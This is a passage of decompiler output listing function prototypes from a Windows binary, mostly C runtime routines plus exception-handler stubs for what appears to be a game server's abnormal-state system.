_mbsrchr(const char *str, unsigned int c); int __cdecl _vsnprintf(char *string, unsigned int count, const char *format, char *ap); int __cdecl setvbuf(_iobuf *str, char *buffer, int type, unsigned int size); int __cdecl _ungetc_lk(int ch, _iobuf *str); int __cdecl ungetc(int ch, _iobuf *stream); int __cdecl fgetpos(_iobuf *stream, __int64 *pos); int __cdecl _fseek_lk(_iobuf *str, int offset, int whence); int __cdecl fseek(_iobuf *stream, int offset, int whence); int __cdecl fsetpos(_iobuf *stream, const __int64 *pos); void __cdecl _splitpath(const char *path, char *drive, char *dir, char *fname, char *ext); char *__cdecl _getenv_lk(const char *option); char *__cdecl getenv(const char *option); void __cdecl _endthreadex(unsigned int retcode); unsigned int __stdcall threadstartex(void *ptd); unsigned int __cdecl _beginthreadex(void *security, unsigned int stacksize, unsigned int (__stdcall *initialcode)(void *), void *argument, unsigned int createflag, unsigned int *thrdaddr); int __cdecl isalpha(int c); int __cdecl isupper(int c); int __cdecl islower(int c); int __cdecl isdigit(int c); int __cdecl isxdigit(int c); int __cdecl isspace(int c); int __cdecl _mbsicmp(const char *s1, const char *s2); int __cdecl _mbsnbcmp(const char *s1, const char *s2, unsigned int n); long double __cdecl atof(const char *nptr); char *__cdecl _fullpath(char *UserBuf, const char *path, unsigned int maxlen); char *__cdecl _mbsupr(char *string); void __cdecl strrchr(char *string, char chr); char *__cdecl _strdup(const char *string); char *__cdecl __mbspbrk_mt(threadmbcinfostruct *ptmbci, const char *string, const char *charset); char *__cdecl _mbspbrk(const char *string, const char *charset); char *__cdecl _mbschr(const char *string, unsigned int c); char *__cdecl _mbsnbcpy(char *dst, const char *src, unsigned int cnt); int __cdecl _ftell_lk(_iobuf *str); int __cdecl ftell(_iobuf *stream); char *__cdecl strtok(char *string, const char *control); int __cdecl __tolower_mt(threadlocaleinfostruct *ptloci, int c); int __cdecl tolower(int c); int __cdecl _ismbcdigit(unsigned int c); unsigned int __cdecl strtoxl(const char *nptr, const char **endptr, int ibase, int flags); int __cdecl strtol(const char *nptr, char **endptr, int ibase); unsigned int __cdecl strtoul(const char *nptr, char **endptr, int ibase); int *__cdecl _errno(); unsigned int *__cdecl __doserrno(); void __cdecl _dosmaperr(unsigned int oserrno); unsigned __int64 __cdecl strtoxq(const char *nptr, const char **endptr, int ibase, int flags); __int64 __cdecl _strtoi64(const char *nptr, char **endptr, int ibase); unsigned __int64 __cdecl _strtoui64(const char *nptr, char **endptr, int ibase); int __cdecl _callnewh(unsigned int size); size_t __cdecl strlen(const char *Str); void __cdecl memcpy(char *dst, char *src, unsigned int count); int __cdecl CopyUnwindUp_0(int dst, int src, int count); // weak int __cdecl ByteCopyDown_0(int dst, int src, int count); // weak int __cdecl __crtLCMapStringA(unsigned int Locale, unsigned int dwMapFlags, const char *lpSrcStr, int cchSrc, char *lpDestStr, int cchDest, int code_page, int bError); const unsigned __int16 *__cdecl __pctype_func(); int __cdecl __init_ctype(); unsigned int __cdecl ___lc_codepage_func(); unsigned int *__cdecl ___lc_handle_func(); int __cdecl _mtinitlocks(); void __cdecl _mtdeletelocks(); void __cdecl _unlock(int locknum); int __cdecl _mtinitlocknum(int locknum); void __cdecl _lock(int locknum); int __cdecl ___setlc_active_func(); int *__cdecl ___unguarded_readlc_active_add_func(); void __cdecl __freetlocinfo(threadlocaleinfostruct *ptloci); threadlocaleinfostruct *__cdecl _updatetlocinfo_lk(); int __cdecl __init_collate(); void __cdecl _strcats(char *outstr, int n); int __cdecl __lc_strtolc(tagLC_STRINGS *names, const char *locale); void __cdecl __lc_lctostr(char *locale, tagLC_STRINGS *names); threadlocaleinfostruct *__cdecl __updatetlocinfo(); char *__cdecl setlocale_get_all(); char *__cdecl _expandlocale(char *expr, char *output, tagLC_ID *id, unsigned int *cp, int category); // char *__usercall setlocale_set_cat(int category, const char *locale); // char *__usercall setlocale_lk(int _category, const char *_locale); char *__cdecl setlocale(int _category, const char *_locale); int __cdecl memcmp(const void *Buf1, const void *Buf2, size_t Size); // int __usercall TypeMatch(_s_HandlerType *pCatch, _s_CatchableType *pCatchable, _s_ThrowInfo *pThrow); // int __usercall FrameUnwindFilter(_EXCEPTION_POINTERS *pExPtrs); void __cdecl __FrameUnwindToState(EHRegistrationNode *pRN, void *pDC, _s_FuncInfo *pFuncInfo, int targetState); void __cdecl __DestructExceptionObject(EHExceptionRecord *pExcept, char fThrowNotAllowed); // void *__usercall AdjustPointer(void *pThis, PMD *pmd); bool __cdecl __uncaught_exception(); // void *__usercall CallCatchBlock(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, _CONTEXT *pContext, _s_FuncInfo *pFuncInfo, void *handlerAddress, int CatchDepth, unsigned int NLGCode); int __cdecl _L20061(int pExcept, int pRN, int pContext, int pFuncInfo, int CatchDepth, int NLGCode); // weak // void __usercall BuildCatchObject(EHExceptionRecord *pExcept, void *pRN, _s_HandlerType *pCatch, _s_CatchableType *pConv); // void __usercall CatchIt(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, _CONTEXT *pContext, void *pDC, _s_FuncInfo *pFuncInfo, _s_HandlerType *pCatch, _s_CatchableType *pConv, _s_TryBlockMapEntry *pEntry, int CatchDepth, EHRegistrationNode *pMarkerRN, char IsRethrow); void __cdecl FindHandlerForForeignException(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, _CONTEXT *pContext, void *pDC, _s_FuncInfo *pFuncInfo, int curState, int CatchDepth, EHRegistrationNode *pMarkerRN); void __cdecl FindHandler(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, _CONTEXT *pContext, void *pDC, _s_FuncInfo *pFuncInfo, char recursive, int CatchDepth, EHRegistrationNode *pMarkerRN); _EXCEPTION_DISPOSITION __cdecl __InternalCxxFrameHandler(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, _CONTEXT *pContext, void *pDC, _s_FuncInfo *pFuncInfo, int CatchDepth, EHRegistrationNode *pMarkerRN, char recursive); long double __cdecl strtod(const char *nptr, char **endptr); void __cdecl abort(); unsigned int __stdcall __crtTlsAlloc(void (__stdcall *lpCallBack)(void *)); void __cdecl _mtterm(); void __cdecl _initptd(_tiddata *ptd); _tiddata *__cdecl _getptd(); void __stdcall _freefls(void *data); void __cdecl _freeptd(_tiddata *ptd); int __cdecl _mtinit(); void __cdecl terminate(); // idb void __cdecl _inconsistency(); void __cdecl unk_57D2CA(); // weak void __stdcall _CallSettingFrame(unsigned int funclet, unsigned int pRN, unsigned int dwInCode); unsigned int __cdecl __security_init_cookie(); void __cdecl __security_error_handler(int code, void *data); void *__cdecl realloc(void *pBlock, unsigned int newsize); unsigned int __cdecl _msize(void *pblock); int __cdecl _flsbuf(int ch, _iobuf *str); // void __usercall write_char(char ch, _iobuf *f, int *pnumwritten); // void __usercall write_multi_char(char ch, int num, _iobuf *f, int *pnumwritten); // void __usercall write_string(char *string, int len, _iobuf *f, int *pnumwritten); int __cdecl _output(_iobuf *stream, const char *format, char *argptr); int __cdecl loc_57DD20(int stream, int format, int argptr); // weak int __cdecl _close_lk(int fh); int __cdecl _close(int fh); void __cdecl _freebuf(_iobuf *stream); int __cdecl __initstdio(); int __cdecl __endstdio(); void __cdecl _lock_file(void *pf); void __cdecl _lock_file2(int i, void *s); void __cdecl _unlock_file(void *pf); void __cdecl _unlock_file2(int i, void *s); _iobuf *__cdecl _openfile(const char *filename, const char *mode, int shflag, _iobuf *str); _iobuf *__cdecl _getstream(); tm *__cdecl gmtime(const int *timp); void __cdecl tzset_lk(); // void __usercall cvtdate(int trantype, int datetype, int year, int month, int week, int dayofweek, int date, int hour, int min, int sec, int msec); // int __usercall isindst_lk(tm *tb); void __cdecl __tzset(); int __cdecl _isindst(tm *tb); void __cdecl _forcdecpt(char *buffer); void __cdecl _cropzeros(char *buf); int __cdecl _positive(long double *arg); void __cdecl _fassign(int flag, char *argument, char *number); // void __usercall shift(char *s, int dist); // char *__usercall cftoe2(char *buf, int ndec, int caps, _strflt *pflt, char g_fmt); char *__cdecl _cftoe(long double *pvalue, char *buf, int ndec, int caps); // char *__usercall cftof2(char *buf, int ndec, _strflt *pflt, char g_fmt); char *__cdecl _cftof(long double *pvalue, char *buf, int ndec); char *__cdecl _cftog(long double *pvalue, char *buf, int ndec, int caps); void __cdecl _cfltcvt(long double *arg, char *buffer, int format, int precision, int caps); unsigned int __cdecl _setdefaultprecision(); int __cdecl _ms_p5_test_fdiv(); int __cdecl _ms_p5_mp_test_fdiv(); int __stdcall __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *pPtrs); int __cdecl __CxxSetUnhandledExceptionFilter(); LPTOP_LEVEL_EXCEPTION_FILTER __cdecl __CxxRestoreUnhandledExceptionFilter(); char *__cdecl strcpy(char *Dest, const char *Source); char *__cdecl strcat(char *Dest, const char *Source); int __cdecl copy_start(int Dest, int Source); // weak int __cdecl strcmp(const char *Str1, const char *Str2); int __cdecl _stbuf(_iobuf *str); void __cdecl _ftbuf(int flag, _iobuf *str); int __cdecl _write_lk(int fh, const void *buf, unsigned int cnt); int __cdecl _write(int fh, const void *buf, unsigned int cnt); int __cdecl loc_57F6BE(int fh, int buf, int cnt); // weak int __cdecl _commit(int filedes); int __cdecl __isctype_mt(threadlocaleinfostruct *ptloci, int c, int mask); // int __usercall inc(_iobuf *fileptr); int __cdecl _input(_iobuf *stream, const char *format, char *arglist); int __cdecl loc_57FD7A(int stream, int format, int arglist); // weak int __cdecl _filbuf(_iobuf *str); int __cdecl _read_lk(int fh, void *buf, unsigned int cnt); int __cdecl _read(int fh, void *buf, unsigned int cnt); void __cdecl _RTC_Initialize(); void __cdecl _RTC_Terminate(); // idb int __cdecl __loctotime_t(int yr, int mo, int dy, int hr, int mn, int sc, int dstflag); int __cdecl _ValidateEH3RN(_EH3_EXCEPTION_REGISTRATION *pRN); int __cdecl __heap_select(); int __cdecl _heap_init(int mtflag); int __cdecl __sbh_heap_init(unsigned int threshold); tagHeader *__cdecl __sbh_find_block(void *pvAlloc); void __cdecl __sbh_free_block(tagHeader *pHeader, void *pvAlloc); tagHeader *__cdecl __sbh_alloc_new_region(); int __cdecl __sbh_alloc_new_group(tagHeader *pHeader); int __cdecl __sbh_resize_block(tagHeader *pHeader, void *pvAlloc, int intNew); void *__cdecl __sbh_alloc_block(int intSize); int __cdecl has_osfxsr_set(); int __cdecl __sse2_available_init(); void __cdecl _CIpow_pentium4(); int _pow_pentium4(); // weak // void __usercall ___00001(__int16 a1, int a2); int _ffexpm1(); // weak int isintTOS(); // weak // int __usercall _trandisp1(int a1, __int16 a2, int a3, __int16 a4, double _ST7, char a6, char a7, char a8); // int __usercall _trandisp2(int a1, int a2, __int16 a3, double _ST6, double a5, char a6, char a7, char a8); void __cdecl _startTwoArgErrorHandling(unsigned int savCW, unsigned int ret_addr, __int64 param1, __int64 param2); void __cdecl _startOneArgErrorHandling(unsigned int savCW, unsigned int ret_addr, __int64 param1); // double __usercall _twoToTOS(double a1); // double __usercall _convertTOStoQNaN(int a1, double result); double __fastcall _fload_withFB(int a1, int a2); int __cdecl _checkTOS_withFB(int a1, int a2); void __cdecl _check_overflow_exit(); int check_overflow_start(); // weak int __cdecl _d_inttype(long double y); int __cdecl _powhlp(long double x, long double y, long double *result); void __cdecl __ascii_stricmp(void *dst, void *src); tm *__cdecl _gmtime64(const __int64 *timp); char *__cdecl __mbsspnp_mt(threadmbcinfostruct *ptmbci, const char *string, const char *charset); // int __usercall CPtoLCID(int codepage); int __cdecl setSBCS(); unsigned int __cdecl setSBUpLow(); threadmbcinfostruct *__cdecl __updatetmbcinfo(); int __cdecl setmbcp_lk(int codepage); int __cdecl _setmbcp(int codepage); int __cdecl __initmbctable(); unsigned int __cdecl _mbctoupper(unsigned int c); int __cdecl _resetstkoflw(); void __cdecl _NMSG_WRITE(int rterrnum); void __cdecl _FF_MSGBANNER(); int __cdecl _XcptFilter(unsigned int xcptnum, _EXCEPTION_POINTERS *pxcptinfoptrs); char *__cdecl _wincmdln(); int __cdecl _setenvp(); // void __usercall parse_cmdline(char *cmdstart, char **argv, char *args, int *numargs, int *numchars); int __cdecl _setargv(); void *__cdecl __crtGetEnvironmentStringsA(); int __cdecl _ioinit(); void __cdecl _getbuf(_iobuf *str); __int64 __cdecl _ftelli64_lk(_iobuf *str); __int64 __cdecl _ftelli64(_iobuf *stream); int __cdecl _lseek_lk(int fh, int pos, int mthd); int __cdecl _lseek(int fh, int pos, int mthd); int __cdecl _fseeki64_lk(_iobuf *str, __int64 offset, int whence); int __cdecl _fseeki64(_iobuf *stream, __int64 offset, int whence); int __cdecl _mbsnbicoll(const char *s1, const char *s2, unsigned int n); int __cdecl __wtomb_environ(); void *__cdecl calloc(unsigned int num, unsigned int size); _flt *__cdecl _fltin2(_flt *flt, const char *str, int len_ignore, int scale_ignore, int radix_ignore); int __cdecl _validdrive(unsigned int drive); char *__cdecl _getdcwd_lk(int drive, char *pnbuf, int maxlen); char *__cdecl _getcwd(char *pnbuf, int maxlen); void __cdecl strpbrk(char *string, char *control); int found_bx(); // weak char *__cdecl strchr(const char *Str, int Val); int __cdecl __crtGetStringTypeA(unsigned int dwInfoType, const char *lpSrcStr, int cchSrc, unsigned __int16 *lpCharType, int code_page, int lcid, int bError); int __cdecl __toupper_mt(threadlocaleinfostruct *ptloci, int c); int __cdecl toupper(int c); void *__cdecl memset(void *Dst, int Val, size_t Size); int __cdecl __ansicp(int lcid); char *__cdecl __convertcp(int fromCP, int toCP, const char *lpSrcStr, int *pcchSrc, char *lpDestStr, int cchDest); int __cdecl __getlocaleinfo(int lc_type, unsigned int localehandle, unsigned int fieldtype, void *address); int __stdcall _crtInitCritSecNoSpinCount(_RTL_CRITICAL_SECTION *lpCriticalSection, unsigned int dwSpinCount); int __cdecl __crtInitCritSecAndSpinCount(_RTL_CRITICAL_SECTION *lpCriticalSection, unsigned int dwSpinCount); // int __usercall get_lc_time(__lc_time_data *lc_time); void __cdecl __free_lc_time(__lc_time_data *lc_time); int __cdecl __init_time(); void __cdecl __free_lconv_num(lconv *l); int __cdecl __init_numeric(); void __cdecl __free_lconv_mon(lconv *l); int __cdecl __init_monetary(); int __cdecl TranslateName(tagLOCALETAB *lpTable, int high, const char **ppchName); unsigned int __cdecl GetLcidFromDefault(); // int __usercall ProcessCodePage(char *lpCodePageStr); int __cdecl TestDefaultCountry(unsigned int lcid); int __stdcall crtGetLocaleInfoA(unsigned int lcid, unsigned int lctype, char *lpdata, int cchdata); // unsigned int __usercall LcidFromHexString(char *lpHexString); // int __usercall GetPrimaryLen(char *pchLanguage); int __stdcall CountryEnumProc(char *lpLcidString); int __cdecl TestDefaultLanguage(unsigned int lcid, int bTestPrimary); int __stdcall LangCountryEnumProc(char *lpLcidString); int __stdcall LanguageEnumProc(char *lpLcidString); BOOL __cdecl GetLcidFromCountry(); int __cdecl GetLcidFromLangCountry(); BOOL __cdecl GetLcidFromLanguage(); int __cdecl __get_qualified_locale(tagLC_STRINGS *const lpInStr, tagLC_ID *lpOutId, tagLC_STRINGS *lpOutStr); int __cdecl _ValidateRead(const void *data, unsigned int size); int __cdecl _ValidateWrite(void *data, unsigned int size); int __cdecl _ValidateExecute(int (__stdcall *code)()); // _XCPT_ACTION *__usercall siglookup(int signum, _XCPT_ACTION *pxcptacttab); int __cdecl raise(int signum); int __cdecl __crtMessageBoxA(const char *lpText, const char *lpCaption, unsigned int uType); int __cdecl _isatty(int fh); int __cdecl __wctomb_mt(threadlocaleinfostruct *ptloci, char *s, wchar_t wchar); int __cdecl wctomb(char *s, wchar_t wchar); int __cdecl _set_osfhnd(int fh, int value); int __cdecl _free_osfhnd(int fh); int __cdecl _get_osfhandle(int fh); int __cdecl _lock_fhandle(int fh); void __cdecl _unlock_fhandle(int fh); int __cdecl _alloc_osfhnd(); int __cdecl _fcloseall(); // int __usercall tsopen_lk(int *punlock_flag, int *pfh, const char *path, int oflag, int shflag, int pmode); int __cdecl _sopen(const char *path, int oflag, int shflag); int __cdecl _ZeroTail(unsigned int *man, int nbit); int __cdecl _IncMan(unsigned int *man, int nbit); int __cdecl _RoundMan(unsigned int *man, int precision); void __cdecl _CopyMan(unsigned int *dest, unsigned int *src); int __cdecl _IsZeroMan(unsigned int *man); void __cdecl _ShrMan(unsigned int *man, int n); INTRNCVT_STATUS __cdecl _ld12cvt(_LDBL12 *pld12, void *d, FpFormatDescriptor *format); INTRNCVT_STATUS __cdecl _ld12tod(_LDBL12 *pld12, DOUBLE *d); INTRNCVT_STATUS __cdecl _ld12tof(_LDBL12 *pld12, FLOAT *f); void __cdecl _atodbl(DOUBLE *d, char *str); void __cdecl _atoflt(FLOAT *f, char *str); void __cdecl _fptostr(char *buf, int digits, _strflt *pflt); void __cdecl __dtold(_LDOUBLE *pld, long double *px); _strflt *__cdecl _fltout2(DOUBLE x, _strflt *flt, char *resultstr); void __cdecl _fptrap(); // unsigned int __usercall abstract_cw(unsigned __int16 cw); // unsigned __int16 __usercall hw_cw(unsigned int abstr); unsigned int __cdecl _control87(unsigned int newctrl, unsigned int mask); unsigned int __cdecl _controlfp(unsigned int newctrl, unsigned int mask); __int64 __cdecl _lseeki64_lk(int fh, __int64 pos, int mthd); __int64 __cdecl _lseeki64(int fh, __int64 pos, int mthd); int __cdecl __mbtowc_mt(threadlocaleinfostruct *ptloci, unsigned __int16 *pwc, const char *s, unsigned int n); int __cdecl mbtowc(unsigned __int16 *pwc, const char *s, unsigned int n); void __cdecl __libm_error_support(void *arg1, void *arg2, void *retval, error_types input_tag); double __cdecl fdiv_main_routine(_TBYTE a1, _TBYTE a2); // void __usercall _fdivp_sti_st(double a1, double a2); // void __usercall _fdivrp_sti_st(double a1, double a2); // int __userpurge _adj_fdiv_m32(int result, __int16 a2, double a3, double a4, char a5, char a6, char a7, float a8); // int __userpurge _adj_fdiv_m64(int result, __int16 a2, double a3, double a4, char a5, char a6, char a7, double a8); // int __userpurge _adj_fdiv_m16i(int a1, __int16 a2, double a3, double a4, char a5, char a6, char a7, __int16 a8); // int __userpurge _adj_fdiv_m32i(int a1, __int16 a2, double a3, double a4, char a5, char a6, char a7, signed int a8); // int __userpurge _adj_fdivr_m32(int result, __int16 a2, double a3, double a4, char a5, char a6, char a7, float a8); // int __userpurge _adj_fdivr_m64(int result, __int16 a2, double a3, double a4, char a5, char a6, char a7, double a8); // int __userpurge _adj_fdivr_m16i(int a1, __int16 a2, double a3, double a4, char a5, char a6, char a7, __int16 a8); // int __userpurge _adj_fdivr_m32i(int a1, __int16 a2, double a3, double a4, char a5, char a6, char a7, signed int a8); // int __usercall _safe_fdiv(int a1, double a2, double a3); // int __usercall _safe_fdivr(int a1, double a2, double a3); void __fastcall _fprem_common(int a1, char a2, _BYTE a3[12], int a4, int a5, int a6, _BYTE a7[12]); // void __usercall _adj_fprem(int a1, double a2); void __fastcall _fprem1_common(int a1, char a2, _BYTE a3[12], int a4, int a5, int a6, _BYTE a7[12]); // void __usercall _adj_fprem1(int a1, double a2); // void __usercall _safe_fprem(int a1, double a2); // void __usercall _safe_fprem1(int a1, double a2); // double __usercall _adj_fpatan(long double a1, long double a2); void __cdecl _adj_fptan(); void __cdecl _87except(int opcode, _exception *exc, unsigned __int16 *pcw16); long double __cdecl _frnd(long double x); int __cdecl _fpclass(long double x); long double __cdecl _set_exp(long double x, int exp); int __cdecl _sptype(long double x); long double __cdecl _decomp(long double x, int *pexp); void __cdecl strspn(char *string, char *control); int __cdecl x_ismbbtype(unsigned int tst, int cmask, int kmask); int __cdecl _ismbblead(unsigned int tst); // int __usercall strncnt(const char *string, int cnt); int __cdecl __crtCompareStringA(unsigned int Locale, unsigned int dwCmpFlags, const char *lpString1, int cchCount1, const char *lpString2, int cchCount2, int code_page); // int __usercall findenv(const char *name, int len); // char **__usercall copy_environ(char **oldenviron); int __cdecl __crtsetenv(char **poption, const int primary); unsigned int __cdecl __strgtold12(_LDBL12 *pld12, const char **p_end_ptr, const char *str, int mult12, int scale, int decpt, int implicit_E); int __cdecl __crtGetLocaleInfoW(unsigned int Locale, unsigned int LCType, unsigned __int16 *lpLCData, int cchData, int code_page); int __cdecl __crtGetLocaleInfoA(unsigned int Locale, unsigned int LCType, char *lpLCData, int cchData, int code_page); int __cdecl _strnicmp(const char *dst, const char *src, unsigned int count); // void __usercall xtoa(unsigned int val, char *buf, unsigned int radix, int is_neg); char *__cdecl _itoa(int val, char *buf, int radix); int __cdecl _chsize_lk(int filedes, int size); int __cdecl __addl(unsigned int x, unsigned int y, unsigned int *sum); void __cdecl __add_12(_LDBL12 *x, _LDBL12 *y); void __cdecl __shl_12(_LDBL12 *p); void __cdecl __shr_12(_LDBL12 *p); void __cdecl __mtold12(char *manptr, unsigned int manlen, _LDBL12 *ld12); int __cdecl _I10_OUTPUT(_LDOUBLE ld, int ndigits, unsigned int output_flags, _FloatOutStruct *fos); void __cdecl _raise_exc(_FPIEEE_RECORD *prec, unsigned int *pcw, int flags, int opcode, long double *parg1, long double *presult); int __cdecl _handle_exc(unsigned int flags, long double *presult, unsigned int cw); void __cdecl _set_errno(int matherrtype); unsigned int __cdecl _statfp(); unsigned int __cdecl _clrfp(); unsigned int __cdecl _ctrlfp(unsigned int newctrl, unsigned int _mask); void __cdecl _set_statfp(unsigned int sw); void __cdecl __ld12mul(_LDBL12 *px, _LDBL12 *py); void __cdecl __multtenpow12(_LDBL12 *pld12, int pow, unsigned int mult12); void __cdecl __ascii_strnicmp(char *first, char *last, unsigned int count); int __cdecl _setmode_lk(int fh, int mode); // char *__stdcall inet_ntoa(struct in_addr in); // int __stdcall __WSAFDIsSet(SOCKET fd, fd_set *); // int __stdcall WSACleanup(); // int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData); // struct hostent *__stdcall gethostbyname(const char *name); // void __stdcall RtlUnwind(PVOID TargetFrame, PVOID TargetIp, PEXCEPTION_RECORD ExceptionRecord, PVOID ReturnValue); int __cdecl filelength(int filedes); int __cdecl fileno(_iobuf *stream); // void __usercall _L164593(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AbnormalStateTickRoutine_AbnormalStateContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172266(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0AbstateElementInObject_AbnormalStateContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AbnormalStateList_AbnormalStateContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171108(int a1); // void __usercall _L171109(int a1); // void __usercall _L171110(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_AbnormalState_BroadcastSet_ShineObject_ShineObjectClass__QAEXW4ABSTATEINDEX__HH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171249(int a1); // void __usercall _L171256(int a1); // void __usercall _L171257(int a1); // void __usercall _L171258(int a1); // void __usercall _L171259(int a1); // void __usercall _L171260(int a1); // void __usercall _L171261(int a1); // void __usercall _L171262(int a1); // void __usercall _L171263(int a1); // void __usercall _L171264(int a1); // void __usercall _L171265(int a1); // void __usercall _L171266(int a1); // void __usercall _L171267(int a1); // void __usercall _L171268(int a1); // void __usercall _L171269(int a1); // void __usercall _L171270(int a1); // void __usercall _L171271(int a1); // void __usercall _L171272(int a1); // void __usercall _L171273(int a1); // void __usercall _L171274(int a1); // void __usercall _L171275(int a1); // void __usercall _L171276(int a1); // void __usercall _L171277(int a1); // void __usercall _L171278(int a1); // void __usercall _L171279(int a1); // void __usercall _L171280(int a1); // void __usercall _L171281(int a1); // void __usercall _L171282(int a1); // void __usercall _L171283(int a1); // void __usercall _L171284(int a1); // void __usercall _L171285(int a1); // void __usercall _L171286(int a1); // void __usercall _L171287(int a1); // void __usercall _L171288(int a1); // void __usercall _L171289(int a1); // void __usercall _L171290(int a1); // void __usercall _L171291(int a1); // void __usercall _L171292(int a1); // void __usercall _L171293(int a1); // void __usercall _L171294(int a1); // void __usercall _L171295(int a1); // void __usercall _L171296(int a1); // void __usercall _L171297(int a1); // void __usercall _L171298(int a1); // void __usercall _L171299(int a1); // void __usercall _L171300(int a1); // void __usercall _L171301(int a1); // void __usercall _L171302(int a1); // void __usercall _L171303(int a1); // void __usercall _L171304(int a1); // void __usercall _L171305(int a1); // void __usercall _L171306(int a1); // void __usercall _L171307(int a1); // void __usercall _L171308(int a1); // void __usercall _L171309(int a1); // void __usercall _L171310(int a1); // void __usercall _L171311(int a1); // void __usercall _L171312(int a1); // void __usercall _L171313(int a1); // void __usercall _L171314(int a1); // void __usercall _L171315(int a1); // void __usercall _L171316(int a1); // void __usercall _L171317(int a1); // void __usercall _L171318(int a1); // void __usercall _L171319(int a1); // void __usercall _L171320(int a1); // void __usercall _L171321(int a1); // void __usercall _L171322(int a1); // void __usercall _L171323(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ActorCluster_AbnormalStateContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172447(int a1); // void __usercall _L172448(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__asl_Routine_AbstateListInObject_AbnormalStateContainer__QAEEPAVShineMobileObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173061(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sasa_Act_Killed_SubAbnormalStateActorSelfRevive_AbnormalStateContainer__UAEXPAVShinePlayer_ShineObjectClass__PAVAbstateElementInObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173179(int a1); // void __usercall _L173180(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ase_AttachObject_AbnormalStateReinforcedMove_AbnormalStateContainer__UAEXPAVAbstateElementInObject_2_PAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173360(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ase_DetachObject_AbnormalStateReinforcedMove_AbnormalStateContainer__UAEXPAVAbstateElementInObject_2_PAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173777(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VAbstateElementInObject_AbnormalStateContainer____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173812(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_VAbstateElementInObject_AbnormalStateContainer____QAEPAVAbstateElementInObject_AbnormalStateContainer__P823_AEHPAV1_GPAV23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174062(int a1); // void __usercall _L174064(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__asl_Abstate_IsSet_AbstateListInObject_AbnormalStateContainer__QAEPAVAbstateElementInObject_2_W4ABSTATEINDEX___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176414(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__alnsga_Buffing_AxialListNearScanGuildAcademy__QAEXHPAVShineObject_ShineObjectClass__W4ABSTATEINDEX__HPAUAbStateStr_AbState_AbnormalStateDictionary__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174115(int a1); // void __usercall _L174116(int a1); // void __usercall _L174117(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mobile_DamageOverTime_ShineMobileObject_ShineObjectClass__UAEXPAVShineObject_2_HW4ABSTATEINDEX___NPAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174407(int a1); // void __usercall _L174408(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__aeo_Set_AbstateElementInObject_AbnormalStateContainer__QAEEPAVShineObject_ShineObjectClass__GHKPAUAbStateStr_AbState_AbnormalStateDictionary__0HHHW4EnchantFrom_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174628(int a1); // void __usercall _L174629(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__asl_AbstateReset_AbstateListInObject_AbnormalStateContainer__QAEEPAVShineObject_ShineObjectClass__W4ABSTATEINDEX___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175052(int a1); // void __usercall _L175066(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__asl_Store_AbstateListInObject_AbnormalStateContainer__QAEXPAVShineMobileObject_ShineObjectClass__PAUPROTO_NC_CHAR_ABSTATE_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175445(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_smo_AbStateKeepTimeAdd_ShineMobileObject_ShineObjectClass__UAEXW4SubState__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175676(int a1); // void __usercall _L175677(int a1); // void __usercall _L175763(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UAbnormalStateNode_AbnormalStateContainer____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175789(int a1); 